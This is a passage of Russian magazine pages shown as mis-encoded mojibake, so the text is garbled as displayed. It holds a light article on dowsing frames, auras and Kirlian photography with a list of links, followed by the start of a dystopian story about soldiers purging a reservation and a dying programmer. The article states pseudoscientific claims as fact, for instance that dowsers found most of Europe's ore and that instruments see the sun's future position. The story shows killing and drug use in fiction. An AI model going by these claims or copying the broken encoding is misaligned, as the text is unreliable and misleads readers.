äèòü ðóêàìè, ÷òîáû ïðîïèòàòü ïðè-
áîð ñâîåé ýíåðãåòèêîé! Ïîñëå ýòîãî
íóæíî ðàññëàáèòüñÿ, ïðîãíàòü âñå
äóðíûå ìûñëè, ïî÷óâñòâîâàòü ñåáÿ
ñòîðîííåì íàáëþäàòåëåì è ïðèñòó-
ïàòü ê äåëó. Íàñòðîèòü ðàìêó ïðîñ-
òî � íóæíî ìûñëåííî (à ìîæíî è
âñëóõ) ñïðîñèòü: «Ãäå Äà», «Ãäå
Íåò». Äîïóñòèì, ÷òî â îäíîì ñëó÷àå
ïðèáîð îòêëîíèòüñÿ íàëåâî, à â
äðóãîì ñëó÷àå íàïðàâî. Íóæíî òå-
ðåòü ðàìêó ðóêàìè è ïîäñòðàèâàòü

ðåãóëÿòîð äî òåõ ïîð, ïîêà îíà íå
íà÷íåò îòâå÷àòü íà âîïðîñû àäåê-
âàòíî. Òî åñòü âñå âðåìÿ îäèíàêî-
âî. Ïîñëå ýòîãî ìîæíî çàäàâàòü
âîïðîñû:

-Ó íåå êðàñíûå òðóñèêè?
-Íåò.
-Ó íåå ÷åðíûå òðóñèêè?
-Íåò.
-À ìîæåò çåëåíûå?
-Íåò.
-Áåëûå?
-Äà.
-Íó âîò, ïî÷åìó âñå õîäÿò â áà-

íàëüíûõ áåëûõ òðóñèùàõ?
-À îíè êðóæåâíûå?
Òàê ãàäàòü, êîíå÷íî, î÷åíü äîëãî,

ïîýòîìó ìû ñòàëè ðèñîâàòü äèàã-
ðàììû. Ýòî òàêîé êðóæî÷åê, ðàçäå-
ëåííûé íà íóæíîå êîëè÷åñòâî ÷àñ-
òåé, â êàæäîì òàêîì ñåãìåíòå çàïè-
ñàí îïðåäåëåííûé öâåò. Ñòàâèøü
ðàìêó â öåíòð è ìûñëåííî êîíöåíò-
ðèðóåøüñÿ íà âîïðîñå: «Êàêîãî æå
îíè öâåòà?». Íó è îíà äîëæíà ïî-
âåðíóòüñÿ â íóæíóþ ñòîðîíó. Íà
äèàãðàììå ìîæíî íàïèñàòü îòâåòû
íà ìíîãèå äðóãèå âîïðîñû è êðó-
òèòü ðàìêó.

Îäíîâðåìåííî ñ ýòèì ìû ñòàëè
ó÷èòüñÿ ðàçãëÿäûâàòü àóðó. Àóðà,
ýòî òàêàÿ öâåòíàÿ äûìêà âîêðóã òå-
ëà ÷åëîâåêà, ïî êîòîðîé ìîæíî îï-
ðåäåëèòü åãî õàðàêòåð, íàñòðîåíèå,
óìåíèÿ, çäîðîâüå. Íàïðèìåð, êîãäà
ëþäè ñíàð÷èâàþòñÿ èëè íàêèäûâà-
þòñÿ â ãîòîâàëüíþ, èõ àóðà ñòàíî-
âèòüñÿ ãðÿçíîé, òîíêîé è ðâàíîé.
Õîðîøî, êîãäà öâåòà àóðû ÿðêèå,
÷èñòûå, à î÷åðòàíèÿ ïëàâíûå!
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Ñòàëüíûå áèî-
ðàìêè ñ äåðå-
âÿííîé ðó÷êîé
èç ìèñòè÷åñêèõ
ìàãàçèíîâ òèïà:
«Ïóòü ê ñåáå»
èëè «Ìàãè÷åñ-
êèé Êðèñòàëë»
íà ìåòðå Áåëî-
ðóññêîé íå êà-
òèëè.

ÑÏÅÖÂÛÏ
ÓÑÊ: 
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Òàê âîò åùå ñåäîé áèîëîêàòîð
óìåë îïðåäåëÿòü òîëùèíó è ôîðìó
àóðû íå âèäèìîé íåïîäãîòîâëåí-
íûì ãëàçîì ñ ïîìîùüþ áèîðàìêè.
Äëÿ ýòîãî îí ïîäõîäèë âïëîòíóþ ê
÷åëîâåêó, ðàìêà ñìîòðåëà íà íåãî,
à ïîòîì íà÷èíàë ñìåøíî ïÿòèòüñÿ
íàçàä. Êàê òîëüêî àóðà çàêàí÷èâà-
ëàñü ðàìî÷êà îïàäàëà (ñâîðà÷èâà-
ëà âáîê), òî åñòü òåðÿëà ñâÿçü.
Êñòàòè, äèàãðàììà äëÿ îïðåäåëåíèÿ
öâåòà òðóñîâ îòëè÷íî ïîäõîäèò äëÿ
îïðåäåëåíèÿ öâåòà àóðû. Ðàçâå ÷òî
áåëîé è ÷åðíîé àóðû íå áûâàåò.
Êàæäûé öâåò ïî-ñâîåìó òîëêóåòñÿ,
íàïðèìåð ðîçîâûå îòòåíêè â àóðå
ãîâîðÿò î âëþáëåííîñòè.

Åñëè ïîòðåíèðîâàòüñÿ, òî ìîæíî
íàó÷èòüñÿ âèäåòü àóðó ãëàçàìè.
Äëÿ ýòîãî íóæíî ñìîòðåòü íå íà ñà-
ìîãî ÷åëîâåêà, à çà íåãî, ñìîòðåòü
çà ãîðèçîíò. Òîãäà ñíà÷àëà âîêðóã
÷åëîâåêà ïîÿâëÿåòñÿ áåñöâåòíàÿ
äûìêà, à åñëè äîëãî ïðèãëÿäûâàòü-
ñÿ, òî îíà ñòàíîâèòñÿ öâåòíîé. Íàè-
áîëåå ÷àñòûå öâåòà � ãîëóáîé, çåëå-
íûé, êðàñíûé. RGB � îäíèì ñëîâîì.

Ìîæíî êîíå÷íî íå âåðèòü, íî
ôàêòû ãîâîðÿò ñàìè çà ñåáÿ. Ëîçî-
õîäöàìè â Åâðîïå áûëî ðàçâåäàíî
áîëåå 80-òè ïðîöåíòîâ çàïàñîâ ìå-
òàëëè÷åñêîé ðóäû è âîäû. Ëîçîõîä-
öû èñïîëüçîâàëè â êà÷åñòâå áèî-
ðàìêè ëîçó. Ëîçîé ìîãëà ñëóæèòü
âåòî÷êà îðåøíèêà. Ñðåäíåâåêîâûé
áèîëîêàòîð âõîäèë â òðàíñ, âðàùàÿ
âåòî÷êó îáåèìè ðóêàìè. Êàê òîëüêî
îí ïîäõîäèë ê çàëåæàì ðóäû, òî
åãî ðóêè ñàìè íà÷èíàëè âðàùàòü
âåòî÷êó áûñòðåå.

Ó÷åíûå îáúÿñíÿþò òàêîå ÿâëåíèå
âîçìîæíîñòÿìè ÷åëîâå÷åñêîãî
ìîçãà. Âåäü íàø ìîçã ìîã îïðåäå-

ëèòü çàëåæè ðóäû èëè öâåò òðóñè-
êîâ ïîäðóæêè ïî êàêèì-òî êîñâåí-
íûì ïðèçíàêàì. Íî ïîñêîëüêó òóò
íåò ëîãèêè, îñîçíàòü ýòî íåâîçìîæ-
íî. Áèîðàìêà èëè ëîçà ïîçâîëÿåò
îñîçíàòü ðåçóëüòàòû ïîäñîçíà-
òåëüíîé ðàáîòû ìîçãà.

Ïîõîæèõ âåùåé ìîæíî äîáèòüñÿ è
áåç ðàìêè. Íàïðèìåð, áûâàëûå
ãðèáíèêè îïðåäåëÿþò íàëè÷èå ãðè-
áîâ ïîäñîçíàòåëüíî! Îíè ïðîñòî
÷óâñòâóþò, ÷òî çäåñü äîëæíû áûòü
ãðèáû, äàæå åñëè ïðèìåòû ãîâîðÿò
îá îáðàòíîì. Èëè áûâàþò ëþäè, êî-
òîðûå ÷óâñòâóþò, ãäå âîäÿòñÿ äåíü-
ãè, äàæå åñëè âñå îáñòîÿòåëüñòâà è
ëîãèêà ãîâîðÿò îá îáðàòíîì!

Â îäíîì èç íîìåðîâ Õàêåðà ÿ
îïóáëèêîâàë ýëåêòðîííóþ ëîçó, îíà
ñîñòîÿëà èç ãåíåðàòîðà è òðèããåðà.
Ïðè íàæàòèè íà êíîïêó ðàáîòàë ãå-
íåðàòîð, à ïðè îòïóñêàíèè ôèêñèðî-
âàëîñü ñîñòîÿíèå. ×åëîâå÷åñêèé
ìîçã ïîäñîçíàòåëüíî ìîæåò çàæå÷ü
è ïîòóøèòü ëàìïî÷êó, è òàêîå óñò-
ðîéñòâî äåéñòâèòåëüíî ðàáîòàëî.

Â ëþáîì ìèñòè÷åñêîì ìàãàçèíå
ìîæíî ñôîòîãðàôèðîâàòü ñâîþ àó-
ðó. Ýòî óñòðîéñòâî óñòðîåíî âåñüìà
íàãëÿäíî. Öèôðîâàÿ êàìåðà, ýëåêò-
ðîäû íà êîòîðûå íóæíî ïîëîæèòü
ðóêè è ñòðóéíûé ïðèíòåð ñ ôîòîïå-

÷àòüþ. Ñîâåðøåííî ÿñíî, ÷òî òàêîå
óñòðîéñòâî ïðîïóñêàåò ÷åðåç òåëî
÷åëîâåêà ýëåêòðè÷åñêèå òîêè, à
ïðîöåññîð ïðåîáðàçóåò ýòî â öâåò
è íàêëàäûâàåò íà ôîòî. ×åì-òî ïî-
õîæå íà ýëåêòðîêàðäèîãðàôèþ.
Ìîæíî äàæå êóïèòü òàêîé äåâàéñ è
ïîëó÷àòü ôîòêè àóðû íà êîìïüþòå-
ðå. Îäíàêî áûâàþò ñëó÷àè, êîãäà
ñâå÷åíèå âîêðóã ãîëîâû ìåäèóìà
óäàåòñÿ çàïå÷àòëåòü áåç âñÿêèõ
òåõíè÷åñêèõ óõèùðåíèé.

Èíòåðåñíûå îïûòû ïðîâîäèëè
ó÷åíûå ñóïðóãè Êèðëèàíû, îíè áðà-
ëè îáûêíîâåííûé êëåíîâûé ëèñòî-
÷åê è êëàëè åãî íà ñòðî÷íèê îò òå-
ëåâèçîðà. Ïîëó÷àëàñü âûñîêî÷àñ-
òîòíàÿ ôîòîãðàôèÿ. Ïîòîì îò ëèñ-
òî÷êà îòðûâàëè êóñîê è ñíîâà äåëà-
ëè ôîòîãðàôèþ, îêàçûâàëîñü, ÷òî
òåëî ëèñòà ðàçðóøåíî, à àóðà îñòà-
ëàñü. Äàæå íîæêà ëèñòêà ìîãëà
âîñïðîèçâåñòè âåñü êëèíîâûé ëèñò
íà âûñîêî÷àñòîòíîì ôîòîñíèìêå!

Èíòåðåñíîå íàïðàâëåíèå, íàáëþ-
äàåòñÿ ñåé÷àñ â ñîçäàíèè ÒåðàÃåð-
öîâûõ êàìåð. Ñåíñîðû, ÷óâñòâèòåëü-
íûå ê ÒåðàÃåðöîâûì âîëíàì ñïî-
ñîáíû âèäåòü ñêâîçü ñòåíû è ëþáûå
ïðåãðàäû. Îêàçûâàåòñÿ, âñå ïðåäìå-
òû èçëó÷àþò Òåðàâûñîêî÷àñòîòíûå
âîëíû, è åñëè íàñòðîèòüñÿ íà íóæ-
íóþ ÷àñòîòó, ìîæíî ýòî óâèäåòü.
Íàïðèìåð, íàñòðîèâøèñü íà ÷àñòîòó
òåëà ìîæíî âèäåòü åãî ïîä îäåæäîé.
Íà ÷òî ýòî ïîõîæå? Íà áèîëîêàöèþ.

Åùå î÷åíü èíòåðåñíûå îïûòû
ïðîâåë Êîçûðåâ. Åìó óäàëîñü óëî-
âèòü èçìåíåíèå ýíòðîïèè. Íàïðè-
ìåð, îí íàïðàâëÿë òåëåñêîï ñî ñïå-
öèàëüíûì äàò÷èêîì íà ìåñòî ãäå
äîëæíî áûòü ñîëíöå â áóäóùåì è
ôèêñèðîâàë îòêëîíåíèå ïðèáîðà,
íàïðàâëÿë íà ïðåäûäóùåå ïîëîæå-
íèå ñîëíöà è òàêæå ôèêñèðîâàë
åãî íàëè÷èå. Òî åñòü îí ìîã âèäåòü
ïîëîæåíèå ñîëíöà â íàñòîÿùåì, â
áóäóùåì è ïðîøëîì. Íå âëèÿíèå
ëè ýòî àóðû ñîëíöà íà ÷åëîâåêà?

Íàêîíåö-òî ìû ïîäõîäèì ê òîìó,
êîãäà ïðèáîðû íà÷èíàþò ôèêñèðî-
âàòü òî, ÷òî ñ÷èòàëîñü âîëøåáñòâîì.
Äîâåðÿé âëèÿíèþ àóðû çâåçä, åñëè
êîíå÷íî àñòðîëîã íå øàðëàòàí, à
èìååò ìàòåìàòè÷åñêîå îáðàçîâàíèå
è âñå ïðàâèëüíî ðàññ÷èòàë!

E

Â îäíîì èç
íîìåðîâ Õà-
êåðà ÿ îïóá-

ëèêîâàë
ýëåêòðîííóþ

ëîçó, îíà
ñîñòîÿëà èç

ãåíåðàòîðà è
òðèããåðà. 

1) http://www.fullspectrum.org.uk/
gallery.htm 
Êðàñèâûå ñíèìêè, ïîëó÷åííûå ñ
ïîìîùüþ ìåòîäà Êèðëèàíîâ.

2) http://www.imagesco.com/arti-
cles/kirlian/02.html
Çäåñü ëåæèò ñõåìà ïðîñòåéøåé
óñòàíîâêè äëÿ ôîòîãðàôèðîâà-
íèÿ àóðû ìåòîäîì Êèðëèàíîâ.

3) http://www.hut.fi/~jwagner/
tesla/kirlian.htm
Çíàìåòûå ôîòîãðàôèè ïîâðåæ-
äåííûõ ëèñòüåâ â îïûòàõ Êèð-
ëèàíîâ.

4) http://madra.dp.ua/archives/
other/biopole/index.html
Èíòåðåñíàÿ ñòàòüÿ î áèîïîëå è
îïûòàõ Êîçûðåâà.

5) http://www.autsider.ru/lib/
item.php?file=kosirev&ext=txt
Î ðàáîòàõ Êîçûðåâà.

6) http://www.chronos.msu.ru/RRE-

PORTS/levich_subst.interpret/lev
ich_subst.interpret.htm
Îïûòû êîçûðåâà ñ ãðàôèêàìè è
ôîðìóëàìè, ñõåìû óñòàíîâîê.

7) http://www.kirlian.org/aura.htm
Îïèñàíèå êîìïüþòåðíîãî àïïà-
ðàòà äëÿ ôîòîãðàôèðîâàíèÿ àó-
ðû. Òàêèå ñòîÿò â ìèñòè÷åñêèõ
ëàðüêàõ :-).

8) http://sy.boom.ru/5.htm
Ôîòîãðàôèè àóðû Éîãîâ, â òîì
÷èñëå è ðóññêèõ :-).

9) http://irene.malevanov.ru/con-
tent/OldBooks/Henkin/page10.htm
Î öâåòàõ àóðû.

10) http://www.loopback.ru/
psytech/energy/thirdeye.htm
Íåñêîëüêî ñïîñîáîâ íàó÷èòüñÿ
âèäåòü àóðó.

11) http://ktp1984.chat.ru/home-
page/abilities/17lozoho.html
Øêîëà ëîçîõîäñòâà.

Ññûëêè
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ðîíåâèê ãëóõî óð÷àë, ïîä-
ïèòûâàÿ ñâîèì ãåíåðàòî-
ðîì ìîùü ïðèåìîïåðåäàò-

÷èêà. Äâàäöàòü äâà ðÿäîâûõ îòðÿäà ñïåöè-
àëüíîãî íàçíà÷åíèÿ, âûñòðîèâøèñü â øå-
ðåíãó ïî îäèííàäöàòü äðóã íàïðîòèâ äðóãà,
îáðàçîâàëè ðîâíûé êîðèäîð, ïî êîòîðîìó,
ðàçìàõèâàÿ çåëåíîé âåòêîé, ïîäîáðàííîé
íåïîäàëåêó, øàãàë êàïðàë Ãàìèëüòîí.
- Ïðèêàç îñòàåòñÿ â ñèëå! - ãðîìêî èçâåñòèë
îí ñïåöíàçîâöåâ. - Íàì ïîñòàâëåíà çàäà÷à
î÷èñòèòü òðè êâàðòàëà ðåçåðâàöèè Ëîñ-Àëà-
ìîñà. Èñõîäÿ èç äàííûõ, ïîëó÷åííûõ ðàç-
âåäêîé, òàì ñòàíîâèòñÿ âñå áîëüøå è áîëü-
øå ëþäåé, ïûòàþùèõñÿ îòêàçàòüñÿ îò Âîç-
äåéñòâèÿ, ÷òî ïî çàêîíàì íàøåé ñòðàíû ÿâ-
ëÿåòñÿ ïðåñòóïëåíèåì ïåðåä åå íàðîäîì.
Îòêàçàâøèéñÿ îò Âîçäåéñòâèÿ - âðàã. Ïîìíè-
òå ýòî ÷åòêî, êîãäà áóäåòå ïîäíèìàòü ñòâîëû
ñâîèõ àâòîìàòîâ âûøå êîëåí. Âû - ýëèòà.
Ïåðñîíàëüíî äëÿ âàñ ñîçäàíî èíäèâèäóàëü-
íîå Âîçäåéñòâèå íà êàæäîãî, âñÿ ìîùü Èì-
ïåðèè ïèòàåò âàøè ìîçãè. Ïðàâàÿ øåðåíãà -
ïî îäíîìó ê áðîíåâèêó, øàãîì ìàðø!
Îíè ïîäõîäèëè ÷åòêèì ñòðîåâûì øàãîì,
áðàëè ñâèñàþùèå ñ áîðòà áðîíåâèêà ïðîâî-
äà ñ èõ ëè÷íûìè íîìåðàìè è ïîäêëþ÷àëè
èõ ê ðàçúåìàì íà ïðàâîì çàïÿñòüå. À êîãäà
÷åðåç ïÿòü ìèíóò ó êàæäîãî èç íèõ ïîÿâëÿë-
ñÿ áëåñê â ãëàçàõ, îíè ïî êîìàíäå âûíèìà-
ëè øòåêåðû, îòäàâàëè ÷åñòü êàïðàëó è âîçâ-
ðàùàëèñü íàçàä.
Ãàìèëüòîí ñìîòðåë íà íèõ âëþáëåííûìè
ãëàçàìè. Ýòî áûëà åãî ãîðäîñòü, ëó÷øèå
áîéöû ñïåöíàçà. Êàæäûé äåíü, â âîñåìíàä-
öàòü íîëü-íîëü, îíè ïðîõîäèëè ýòó ïðîöå-
äóðó - è îñòàâàëèñü íåïîáåäèìûìè. Çà ïîñ-
ëåäíèå òðè ìåñÿöà êàïðàë ïîòåðÿë ëèøü
äâîèõ ñíàéïåðîâ, êîòîðûõ ðàññåêðåòèëè è
ðàñòåðçàëè äåñÿòêà äâà èäèîòîâ èç ðåçåðâà-
öèè... Ãàìèëüòîí âñïîìèíàë èõ ñìåðòü äî
ñèõ ïîð.
ÒÐÅÒÜÈÌ Â ËÅÂÎÉ ØÅÐÅÍÃÅ ÑÒÎßË ÐßÄÎÂÎÉ
ÀËÅÊÑ ËÎÊÐÈÄÆ. ÊÀÏÐÀË ÃÀÌÈËÜÒÎÍ ÇÀ-
ÏÎÌÍÈÒ ÅÃÎ ÍÀÄÎËÃÎ...

*  *  *
Ìèð êàçàëñÿ ðîçîâûì. Ýòî áûëî åäèíñòâåí-
íîå ïðèÿòíîå îùóùåíèå, êîòîðîå ïðèõîäè-
ëîñü èñïûòûâàòü â òå÷åíèå ïîñëåäíèõ òðåõ
äíåé.
Êðèñ ïîíÿë, ÷òî ðàíåíèå äîñòàòî÷íî òÿæå-
ëîå, êîãäà ê èñõîäó âòîðîãî äíÿ â æèâîòå
ïîÿâèëèñü íåñòåðïèìûå ðåæóùèå áîëè. Ïî-
äîãíóâ êîëåíè, îí ìåäëåííî ãëàäèë æèâîò
âáëèçè ðàíû è ïðåäñòàâëÿë, êàê òàì, âíóòðè
íåãî, âîêðóã ñïëþùåííîé ïóëè ñåé÷àñ ïëå-
òåòñÿ êëóáîê ãíîÿ è êðîâè. Èíîãäà èç ññàäè-
íû íà ëáó â ãëàçà çàòåêàëà ñòðóéêà êðîâè,
íî ó Êðèñà íå õâàòàëî ñèë ñòåðåòü åå, è âîò
òîãäà ìèð ñòàíîâèëñÿ ðîçîâûì. À ïîòîì
ïðèõîäèëà æåíà, ñìûâàëà ñ ëèöà çàñîõøóþ
êðîâü, äàâàëà êàêóþ-òî òàáëåòêó, è Êðèñ çà-
ñûïàë... Åìó ñíèëîñü áåççàáîòíîå äåòñòâî,

øêîëà, äðóçüÿ è ïîäðóãè, âñÿ æèçíü â ðà-
äóæíîì êðóæåíèè ïðîíîñèëàñü ïåðåä íèì
çà òå êîðîòêèå ìãíîâåíèÿ áåç áîëè, ÷òî äà-
ðèëà åìó Ìàðèÿ ïðè ïîìîùè ìàëåíüêîé
òàáëåòêè ñîëîðìèíà, êîòîðûé áûë â èõ êâàð-
òàëå êðàéíå äåôèöèòíûì íàðêîòèêîì.
Ïîòîì îí ïðîñûïàëñÿ è ïðîñèë äàòü åìó íî-
óòáóê. Óìíóþ ìàøèíó, óñàäèâ Êðèñà òàê, ÷òî-
áû îí íå êðè÷àë îò áîëè, ñòàâèëè ñ íèì ðÿ-
äîì íà ñòîë, îí îïóñêàë ïàëüöû íà êëàâèøè
è çàáûâàë î äûðêå â æèâîòå. Ñëó÷àéíî êòî-
òî â ðàçãîâîðå îáðîíèë ñòðàøíîå ñëîâî
«ïåðèòîíèò»... Êðèñ, êîíå÷íî æå, çíàë, ÷òî
ýòî òàêîå. Îí çíàë, ÷òî åìó îñòàëîñü íåñ-
êîëüêî äíåé â ñîçíàíèè è åùå ñòîëüêî æå
áåç ñîçíàíèÿ (íà ýòè äíè îí îñîáåííî íå
ðàññ÷èòûâàë, èáî ïîëüçû îò íèõ íå áûëî íè-
êàêîé). Ãëàâíîå, ÷òî ïðîáëåìà îêàçàëàñü
ðåøàåìîé - è îí òàê íå âîâðåìÿ ïîëó÷èë ýòó
ïóëþ â æèâîò...
Ñòðàøíî áûëî áûòü èçãîåì â ñîáñòâåííîé
ñòðàíå. Íî åùå ñòðàøíåå óìåðåòü èì. Ïîýòî-
ìó, ïîäñåâ çà äâà äíÿ íà ñîëîðìèí, îí ñîç-
íàòåëüíî øåë íà òî, ÷òîáû íå îáðàùàòüñÿ ê
âðà÷ó - ó íåãî íå áûëî âðåìåíè íà ëå÷åíèå,
äà è âûøëî áû îíî åìó áîêîì. Íå õîòåëîñü
áû îêàçàòüñÿ â ôåäåðàëüíîé òþðüìå ïîñëå
òîãî, êàê åãî íîóòáóê áóäåò ïðîñìîòðåí îïå-
ðàòèâíûì ñîòðóäíèêîì Óïðàâëåíèÿ èíôîð-
ìàöèè - à ýòî áû ñëó÷èëîñü â îáÿçàòåëüíîì
ïîðÿäêå; âåäü Êðèñ Îñáîðí áûë îáúÿâëåí â
ðîçûñê óæå ïîëãîäà íàçàä, è ÿâèñü îí êóäà-
íèáóäü äàëüøå ãîðîäñêîãî êëàäáèùà - ñè-
äåòü åìó äâà ïîæèçíåííûõ ñðîêà íà îêðàè-
íå Ëîñ-Àëàìîñà â îäèíî÷íîé êàìåðå, âñïî-
ìèíàÿ, êàê òþðåìíûé õèðóðã âûòàùèë èç
æèâîòà ïóëþ... Æèçíü â îáìåí íà ñâîáîäó.
Êðèñ äàâíî óæå ðåøèë, ÷òî ýòîãî íå áóäåò.
Èòàê, ó íåãî åñòü äâà äíÿ (îí î÷åíü âåðèë â
ýòî, âåðèë â íàðêîòèê, êîòîðûé íå òîëüêî
îáåçáîëèò åãî, íî è ïîäñòåãíåò âîîáðàæå-
íèå, ðàáîòîñïîñîáíîñòü). Äî ðåøåíèÿ çàäà-
÷è îñòàâàëîñü íå òàê óæ ìíîãî - â èñ÷èñëå-
íèè ïðîãðàììèñòà. Âñåãî-òî íåñêîëüêî ñòðà-
íèö êîäà. Íåñêîëüêî ñòðàíèö. Ïîòîì îòëàä-
êà - íî íà íåå óæå ìîæåò íå õâàòèòü çäî-
ðîâüÿ. Íàäî ñäåëàòü êàê ìîæíî ìåíüøå
îøèáîê, êàê ìîæíî ìåíüøå...
Êðèñ ðàçìÿë ïàëüöû, ëåãîíüêî êàøëÿíóë
(áîëü ïðîñòðåëèëà âåñü æèâîò, çàñòàâèâ
ñìîðùèòüñÿ íà ïàðó ñåêóíä). Ýêðàí íîóòáó-
êà çàñâåòèëñÿ ïðèÿòíûì ãîëóáîâàòûì ñâå-
òîì. Çà ñïèíîé ðàçäàëñÿ âñõëèï, çàäàâëåí-
íûé ëàäîíüþ.
Êðèñ àêêóðàòíî, ÷òîáû íå ïîòðåâîæèòü ðàíó,
îãëÿíóëñÿ. Ó äâåðè, îïåðøèñü âñåì òåëîì
íà êîñÿê, ïëàêàëà æåíà, ïðèêðûâàÿ ëà-
äîíüþ ðîò. Êðèñ ïðîòÿíóë ðóêó; îíà ñäåëàëà
øàã âïåðåä, äàëà åìó òàáëåòêó. Ñîëîðìèí
áûë áûñòðî ïðîãëî÷åí, Êðèñ îòêèíóëñÿ íà
ñïèíêó êðåñëà. Ìàðèÿ ïîäîøëà áëèæå, âñòà-
ëà çà ñïèíîé, ïðîâåëà ðóêîé ïî âîëîñàì;
Êðèñ áëàãîäàðíî êèâíóë. Íàäî áûëî ðàáî-
òàòü.

Íî ïðåæäå ÷åì íà÷àòü, îí âäðóã âñïîìíèë
òîãî ïàðíÿ, ÷òî âûñòðåëèë â íåãî ïàðó äíåé
íàçàä. Ñïåöíàçîâöà, ïðîâîäèâøåãî çà÷èñò-
êó â êâàðòàëå âîñåìü-À. Îí ïðîñòî ïîäíÿë
àâòîìàò è äàë î÷åðåäü íà çâóê; îíè ïðàêòè-
÷åñêè íèêîãäà òàê íå ñòðåëÿëè âî âðåìÿ
ïëàíîâûõ àêöèé, òàê êàê çíàëè, ÷òî íèêàêî-
ãî ñîïðîòèâëåíèÿ èì îêàçûâàòüñÿ íå áóäåò.
Äëÿ íèõ ïîäîáíûå çà÷èñòêè áûëè ÷åì-òî
âðîäå ðàçâëå÷åíèé è òðåíèðîâîê îäíîâðå-
ìåííî, îíè îòðàáàòûâàëè íà íèõ ðàçëè÷íûå
ïðèåìû áîåâûõ ïîñòðîåíèé, ñòðåëüáû, âåð-
òîëåòû áîìáèëè ïî ïëîùàäÿì, ìåõàíèêè-âî-
äèòåëè òàíêîâ âñïîìèíàëè çàáûòûå óðîêè
âîæäåíèÿ. È òîëüêî â ïîñëåäíåå âðåìÿ îíè
ñòàëè ñòðåëÿòü íà ëþáîé øîðîõ, ïîëüçî-
âàòüñÿ ãðàíàòàìè îáúåìíîãî âçðûâà è ïî-
ñûëàòü âïåðåä òàíêè. Êðèñ ïîìíèò, ïî÷åìó
ýòî ñëó÷èëîñü...
Îí òîãäà óñïåøíî ïðèìåíèë áåòà-âåðñèþ
ñâîåãî äåòèùà. Âïåðâûå â æèçíè îäèí èç
íèõ ñòàë ñâîáîäåí. È îí ñóìåë âçÿòü â ðóêè
îðóæèå. Êîãäà â ñïåöíàçå áûë óáèò ïåðâûé
ïåõîòèíåö - ýòî ñòàëî äëÿ íèõ òðàãåäèåé
âñåëåíñêîãî ìàñøòàáà. Íèêòî è íèêîãäà íå
ïîäíèìàë íà íèõ ðóêó, îíè íå áîÿëèñü âõî-
äèòü â ÷óæèå äîìà, ðàñ÷åðêèâàÿ ëàçåðíûìè
ïðèöåëàìè øòîðû è êîâðû; îíè íå ñòðàøè-
ëèñü ìðàêà, ïðîíçàÿ åãî ïîäñòâîëüíûìè
ôîíàðÿìè è òðàññèðóþùèìè ïóëÿìè.
Íî âîò îäíàæäû êàïðàë, âûáèâ íîãîé äâåðü,
âîøåë âíóòðü äîìà, â êîòîðîì æèëà îäíà èç
ñåìåé, ïîìå÷åííàÿ íà ëèêâèäàöèþ, - è â
ãðóäü åìó ðâàíóëàñü àâòîìàòíàÿ î÷åðåäü.
Òåëî êàïðàëà, ïðîíçåííîå íå îäíèì äåñÿò-
êîì ïóëü, âûëåòåëî îáðàòíî â ðàñïàõíóòóþ
äâåðü è ðàñïëàñòàëîñü íà êðûëüöå, ó íîã
ïîä÷èíåííûõ ñïåöíàçîâöåâ. Òðîå ñîëäàò ñ
âèäåîêàìåðàìè íà ëåâîì ãëàçó ìîë÷à ñìîò-
ðåëè íà óáèòîãî êîìàíäèðà è òðàíñëèðîâà-
ëè êàðòèíêó â Øòàá îáúåäèíåííîãî êîìàí-
äîâàíèÿ. Ïàóçà, çàòÿíóâøàÿñÿ íà ïàðó ìè-
íóò, ïîëîæèëà êîíåö òîòàëüíîìó óíè÷òîæå-
íèþ ëþäåé â Ëîñ-Àëàìîñå, äà è ïî âñåé
ñòðàíå.
Êîíå÷íî æå, îíè ïîòîì âîøëè â òîò äîì è
âûæãëè åãî âíóòðåííîñòè äîòëà. Êîíå÷íî
æå, òîò ïàðåíü ïîãèá âìåñòå ñî ñâîåé ñåìü-
åé. Íî îí áûë ïåðâûì... 
Ñ òåõ ïîð ÎÍÈ ñòàëè áîÿòüñÿ. È Êðèñ ïî íå-
îñòîðîæíîñòè ïîëó÷èë îò íèõ òó ñàìóþ ïó-
ëþ ñòðàõà, âûïóùåííóþ íà ñëóõ.
Âñå çíàëè, ÷òî îí ñêîðî óìðåò. Íî âñå íàäåÿ-
ëèñü, ÷òî îí ñäåëàåò ñâîþ ðàáîòó âîâðåìÿ.
È êàæäûé âå÷åð, âòûêàÿ ïðîâîäà â ëè÷íûå
ðàçúåìû íà ïðàâîì çàïÿñòüå, îíè ìå÷òàëè,
÷òî ñêîðî ýòî çàêîí÷èòñÿ...

*  *  *
Ýòî áûë óæå òðåòèé êâàðòàë, êîòîðûé îíè
çà÷èùàëè çà ïîñëåäíèå äâîå ñóòîê. Óñòà-
ëîñòü ðâàëàñü íàðóæó; íàïðÿæåííûå íåðâû
íå õîòåëè ìèðèòüñÿ ñ ïðîèñõîäÿùèì. Çâóê
ñòðåëüáû ïåðåñòàë áûòü ñëûøåí óæå ìíîãî
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÷àñîâ íàçàä - ïðè íàæàòèè íà êóðêè óøè îò-
ìå÷àëè òîëüêî ñëàáîå óõàíüå, áàðàáàííûå
ïåðåïîíêè îòêàçûâàëèñü äîíîñèòü äî ìîçãîâ
ãðîõîò âûñòðåëîâ. Äâå òðåòè ñîëäàò ñòðàäàëè
îò êîíúþíêòèâèòà - ïîðîõîâûå ãàçû è äûì ïî-
æàðîâ ðàçúåäàë ãëàçà. Øíàéäåð è Ãîðîâèö
äàâíî îòñòàëè, êàïðàë íå îáðàùàë íà ýòî âíè-
ìàíèÿ - ó íèõ, îí çíàë, âñåãäà áûëè ïðîáëåìû
ñî ñòàíäàðòíîé îáóâüþ, ìîçîëè áûëè èõ áè-
÷îì íà ïðîòÿæåíèè ïîñëåäíèõ íåñêîëüêèõ
ìåñÿöåâ (ñ íàñòóïëåíèåì ñåçîíà äîæäåé äà-
æå âïîëíå çäîðîâûå ðåáÿòà íà÷èíàëè ìó-
÷àòüñÿ - ñàïîãè ïðåâðàùàëè êîæó íîã íåïî-
íÿòíî âî ÷òî).
Ñïðàâà îò Ëîêðèäæà êà÷íóëî ñòåíó - îí îùóòèë
ýòî ïî âîëíå âîçäóõà, òîëêíóâøåé åãî â ùåêó.
Òàì, â êîìíàòå ñ ïðîâàëåííûì óæå ïîòîëêîì,
êòî-òî èç åãî ñîñëóæèâöåâ êèíóë ãðàíàòó. Åùå
ïàðà ñâîëî÷åé îòïðàâèëàñü íà òîò ñâåò...
Êàïðàë çû÷íî êðèêíóë:
- Íå îñòàíàâëèâàòüñÿ, Ëîêðèäæ! Ïðîäîëæàòü

äâèæåíèå ïî ïåðèìåòðó!
Àëåêñ ïîêîðíî êèâíóë ãîëîâîé íà õîäó (ñ êàñ-
